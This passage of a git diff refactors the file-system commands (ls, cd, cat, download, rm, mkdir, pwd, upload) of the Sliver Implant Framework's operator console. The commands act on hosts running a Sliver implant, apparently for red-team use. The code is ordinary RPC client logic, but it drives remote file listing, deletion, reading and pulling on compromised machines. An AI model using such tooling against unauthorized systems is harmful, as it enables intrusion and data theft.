-		ctx.Args = append(ctx.Args, ".")
-	}
-
-	ls, err := rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: ActiveSession.Request(ctx),
-		Path:    ctx.Args[0],
-	})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-	} else {
-		printDirList(ls)
-	}
-}
-
-func printDirList(dirList *sliverpb.Ls) {
-	fmt.Printf("%s\n", dirList.Path)
-	fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path)))
-
-	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
-	for _, fileInfo := range dirList.Files {
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
-		} else {
-			fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
-		}
-	}
-	table.Flush()
-}
-
-func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) == 0 {
-		fmt.Printf(Warn + "Missing parameter: file or directory name\n")
-		return
-	}
-
-	rm, err := rpc.Rm(context.Background(), &sliverpb.RmReq{
-		Request:   ActiveSession.Request(ctx),
-		Path:      ctx.Args[0],
-		Recursive: ctx.Flags.Bool("recursive"),
-		Force:     ctx.Flags.Bool("force"),
-	})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-	} else {
-		fmt.Printf(Info+"%s\n", rm.Path)
-	}
-}
-
-func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) == 0 {
-		fmt.Printf(Warn + "Missing parameter: directory name\n")
-		return
-	}
-
-	mkdir, err := rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
-		Request: ActiveSession.Request(ctx),
-		Path:    ctx.Args[0],
-	})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-	} else {
-		fmt.Printf(Info+"%s\n", mkdir.Path)
-	}
-}
-
-func cd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-	if len(ctx.Args) < 1 {
-		ctx.Args = append(ctx.Args, ".")
-	}
-
-	pwd, err := rpc.Cd(context.Background(), &sliverpb.CdReq{
-		Request: ActiveSession.Request(ctx),
-		Path:    ctx.Args[0],
-	})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-	} else {
-		fmt.Printf(Info+"%s\n", pwd.Path)
-	}
-}
-
-func pwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	pwd, err := rpc.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: ActiveSession.Request(ctx),
-	})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-	} else {
-		fmt.Printf(Info+"%s\n", pwd.Path)
-	}
-}
-
-func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) == 0 {
-		fmt.Printf(Warn + "Missing parameter: file name\n")
-		return
-	}
-
-	download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: ActiveSession.Request(ctx),
-		Path:    ctx.Args[0],
-	})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return
-	}
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			fmt.Printf(Warn+"%s\n", err)
-			return
-		}
-	}
-	if ctx.Flags.Bool("colorize-output") {
-		if err = colorize(download); err != nil {
-			fmt.Println(string(download.Data))
-		}
-	} else {
-		fmt.Println(string(download.Data))
-	}
-}
-
-func colorize(f *sliverpb.Download) error {
-	lexer := lexers.Match(f.GetPath())
-	if lexer == nil {
-		lexer = lexers.Analyse(string(f.GetData()))
-		if lexer == nil {
-			lexer = lexers.Fallback
-		}
-	}
-	style := styles.Get("monokai")
-	if style == nil {
-		style = styles.Fallback
-	}
-	formatter := formatters.Get("terminal16m")
-	if formatter == nil {
-		formatter = formatters.Fallback
-	}
-	if lexer != nil {
-		iterator, err := lexer.Tokenise(nil, string(f.GetData()))
-		if err != nil {
-			return err
-		}
-		err = formatter.Format(os.Stdout, style, iterator)
-		if err != nil {
-			return err
-		}
-	} else {
-		return fmt.Errorf("no lexer found")
-	}
-	return nil
-}
-
-func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) < 1 {
-		fmt.Println(Warn + "Missing parameter(s), see `help download`\n")
-		return
-	}
-	if len(ctx.Args) == 1 {
-		ctx.Args = append(ctx.Args, ".")
-	}
-
-	src := ctx.Args[0]
-	fileName := filepath.Base(src)
-	dst, _ := filepath.Abs(ctx.Args[1])
-	fi, err := os.Stat(dst)
-	if err != nil && !os.IsNotExist(err) {
-		fmt.Printf(Warn+"%s\n", err)
-		return
-	}
-	if err == nil && fi.IsDir() {
-		dst = path.Join(dst, fileName)
-	}
-
-	if _, err := os.Stat(dst); err == nil {
-		overwrite := false
-		prompt := &survey.Confirm{Message: "Overwrite local file?"}
-		survey.AskOne(prompt, &overwrite, nil)
-		if !overwrite {
-			return
-		}
-	}
-
-	ctrl := make(chan bool)
-	go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
-	download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: ActiveSession.Request(ctx),
-		Path:    ctx.Args[0],
-	})
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return
-	}
-
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			fmt.Printf(Warn+"Decoding failed %s", err)
-			return
-		}
-	}
-	dstFile, err := os.Create(dst)
-	if err != nil {
-		fmt.Printf(Warn+"Failed to open local file %s: %s\n", dst, err)
-		return
-	}
-	defer dstFile.Close()
-	n, err := dstFile.Write(download.Data)
-	if err != nil {
-		fmt.Printf(Warn+"Failed to write data %v\n", err)
-	} else {
-		fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dstFile.Name())
-	}
-}
-
-func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) < 1 {
-		fmt.Printf(Warn + "Missing parameter, see `help upload`\n")
-		return
-	}
-
-	src, _ := filepath.Abs(ctx.Args[0])
-	_, err := os.Stat(src)
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return
-	}
-
-	if len(ctx.Args) == 1 {
-		fileName := filepath.Base(src)
-		ctx.Args = append(ctx.Args, fileName)
-	}
-	dst := ctx.Args[1]
-
-	fileBuf, err := ioutil.ReadFile(src)
-	uploadGzip := new(encoders.Gzip).Encode(fileBuf)
-
-	ctrl := make(chan bool)
-	go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl)
-	upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
-		Request: ActiveSession.Request(ctx),
-		Path:    dst,
-		Data:    uploadGzip,
-		Encoder: "gzip",
-	})
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-	} else {
-		fmt.Printf(clearln+Info+"Wrote file to %s\n", upload.Path)
-	}
-}

client/command/filesystem/README.md

@@ -0,0 +1,4 @@
+Filesystem
+==========
+
+This package implements file system commands such as `ls`, `cd`, `rm`, `download`, `upload`, etc.

client/command/filesystem/cat.go

@@ -0,0 +1,131 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/hex"
+	"fmt"
+	"os"
+
+	"github.com/alecthomas/chroma/formatters"
+	"github.com/alecthomas/chroma/lexers"
+	"github.com/alecthomas/chroma/styles"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// CatCmd - Display the contents of a remote file
+func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file name\n")
+		return
+	}
+
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintCat(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintCat(download, ctx, con)
+	}
+}
+
+// PrintCat - Print the download to stdout
+func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if ctx.Flags.Bool("colorize-output") {
+		if err = colorize(download); err != nil {
+			con.Println(string(download.Data))
+		}
+	} else {
+		if ctx.Flags.Bool("hex") {
+			con.Println(hex.Dump(download.Data))
+		} else {
+			con.Println(string(download.Data))
+		}
+	}
+}
+
+func colorize(f *sliverpb.Download) error {
+	lexer := lexers.Match(f.GetPath())
+	if lexer == nil {
+		lexer = lexers.Analyse(string(f.GetData()))
+		if lexer == nil {
+			lexer = lexers.Fallback
+		}
+	}
+	style := styles.Get("monokai")
+	if style == nil {
+		style = styles.Fallback
+	}
+	formatter := formatters.Get("terminal16m")
+	if formatter == nil {
+		formatter = formatters.Fallback
+	}
+	if lexer != nil {
+		iterator, err := lexer.Tokenise(nil, string(f.GetData()))
+		if err != nil {
+			return err
+		}
+		err = formatter.Format(os.Stdout, style, iterator)
+		if err != nil {
+			return err
+		}
+	} else {
+		return fmt.Errorf("no lexer found")
+	}
+	return nil
+}

client/command/filesystem/cd.go

@@ -0,0 +1,61 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// CdCmd - Change directory on the remote system
+func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	filePath := ctx.Args.String("path")
+
+	pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
+	} else {
+		PrintPwd(pwd, con)
+	}
+}

client/command/filesystem/download.go

@@ -0,0 +1,135 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// DownloadCmd - Download a file from the remote system
+func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintDownload(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintDownload(download, ctx, con)
+	}
+}
+
+// PrintDownload - Print the download response, and save file to disk
+func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
+	if _, err := os.Stat(dst); err == nil {
+		overwrite := false
+		prompt := &survey.Confirm{Message: "Overwrite local file?"}
+		survey.AskOne(prompt, &overwrite, nil)
+		if !overwrite {
+			return
+		}
+	}
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s", err)
+			return
+		}
+	}
+	dstFile, err := os.Create(dst)
+	if err != nil {
+		con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+		return
+	}
+	defer dstFile.Close()
+	n, err := dstFile.Write(download.Data)
+	if err != nil {
+		con.PrintErrorf("Failed to write data %v\n", err)
+	} else {
+		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
+	}
+}

client/command/filesystem/ls.go

@@ -0,0 +1,206 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"path/filepath"
+	"sort"
+	"strings"
+	"text/tabwriter"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// LsCmd - List the contents of a remote directory
+func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := ctx.Args.String("path")
+	filter := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if remotePath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(remotePath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurrence == -1 {
+			// Then this is only a filter
+			filter = remotePath
+			remotePath = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+
+			// The indicies should be the same because we did not change the length of the string
+			baseDir := remotePath[:lastSeparatorOccurrence+1]
+			potentialFilter := remotePath[lastSeparatorOccurrence+1:]
+
+			_, err := filepath.Match(potentialFilter, "")
+
+			if err == nil {
+				// Then we have a filter on the end of the path
+				remotePath = baseDir
+				filter = potentialFilter
+			} else {
+				if !strings.HasSuffix(remotePath, "/") {
+					remotePath = remotePath + "/"
+				}
+			}
+		}
+	}
+
+	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	if ls.Response != nil && ls.Response.Async {
+		con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, ls)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintLs(ls, ctx.Flags, filter, con)
+		})
+		con.PrintAsyncResponse(ls.Response)
+	} else {
+		PrintLs(ls, ctx.Flags, filter, con)
+	}
+}
+
+// PrintLs - Display an sliverpb.Ls object
+func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
+	if ls.Response != nil && ls.Response.Err != "" {
+		con.PrintErrorf("%s\n", ls.Response.Err)
+		return
+	}
+
+	con.Printf("%s\n", ls.Path)
+	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Extract the flags
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")
+
+	/*
+		By default, name sorting is case sensitive.  Upper case entries come before
+		lower case ones.  Instead, we will level the playing field and sort
+		regardless of case
+	*/
+	if reverseSort {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
+		})
+	} else {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
+		})
+	}
+
+	/*
+		After names are sorted properly, take care of the modified time if the
+		user wants to sort by time.  Doing this after sorting by name
+		will make the time sorted entries properly sorted by name if times are equal.
+	*/
+
+	if sortByTime {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime > ls.Files[j].ModTime
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime < ls.Files[j].ModTime
+			})
+		}
+	} else if sortBySize {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size > ls.Files[j].Size
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size < ls.Files[j].Size
+			})
+		}
+	}
+
+	for _, fileInfo := range ls.Files {
+		if filter != "" {
+			fileMatch, err := filepath.Match(filter, fileInfo.Name)
+
+			if err != nil {
+				/*
+					This should not happen because we checked the filter
+					before reaching out to the implant.
+				*/
+				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
+				break
+			}
+
+			if !fileMatch {
+				continue
+			}
+		}
+
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		}
+	}
+	table.Flush()
+	con.Printf("%s\n", outputBuf.String())
+}

client/command/filesystem/mkdir.go

@@ -0,0 +1,76 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MkdirCmd - Make a remote directory
+func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: directory name\n")
+		return
+	}
+
+	mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if mkdir.Response != nil && mkdir.Response.Async {
+		con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, mkdir)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMkdir(mkdir, con)
+		})
+		con.PrintAsyncResponse(mkdir.Response)
+	} else {
+		PrintMkdir(mkdir, con)
+	}
+}
+
+// PrintMkdir - Print make directory
+func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
+	if mkdir.Response != nil && mkdir.Response.Err != "" {
+		con.PrintErrorf("%s\n", mkdir.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", mkdir.Path)
+}

client/command/filesystem/pwd.go

@@ -0,0 +1,67 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// PwdCmd - Print the remote working directory
+func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
+	} else {
+		PrintPwd(pwd, con)
+	}
+}
+
+// PrintPwd - Print the remote working directory
+func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
+	if pwd.Response != nil && pwd.Response.Err != "" {
+		con.PrintErrorf("%s\n", pwd.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", pwd.Path)
+}

client/command/filesystem/rm.go

@@ -0,0 +1,78 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// RmCmd - Remove a directory from the remote file system
+func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		Recursive: ctx.Flags.Bool("recursive"),
+		Force:     ctx.Flags.Bool("force"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if rm.Response != nil && rm.Response.Async {
+		con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, rm)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintRm(rm, con)
+		})
+		con.PrintAsyncResponse(rm.Response)
+	} else {
+		PrintRm(rm, con)
+	}
+}
+
+// PrintRm - Print the rm response
+func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
+	if rm.Response != nil && rm.Response.Err != "" {
+		con.PrintErrorf("%s\n", rm.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", rm.Path)
+}

client/command/filesystem/upload.go

@@ -0,0 +1,110 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
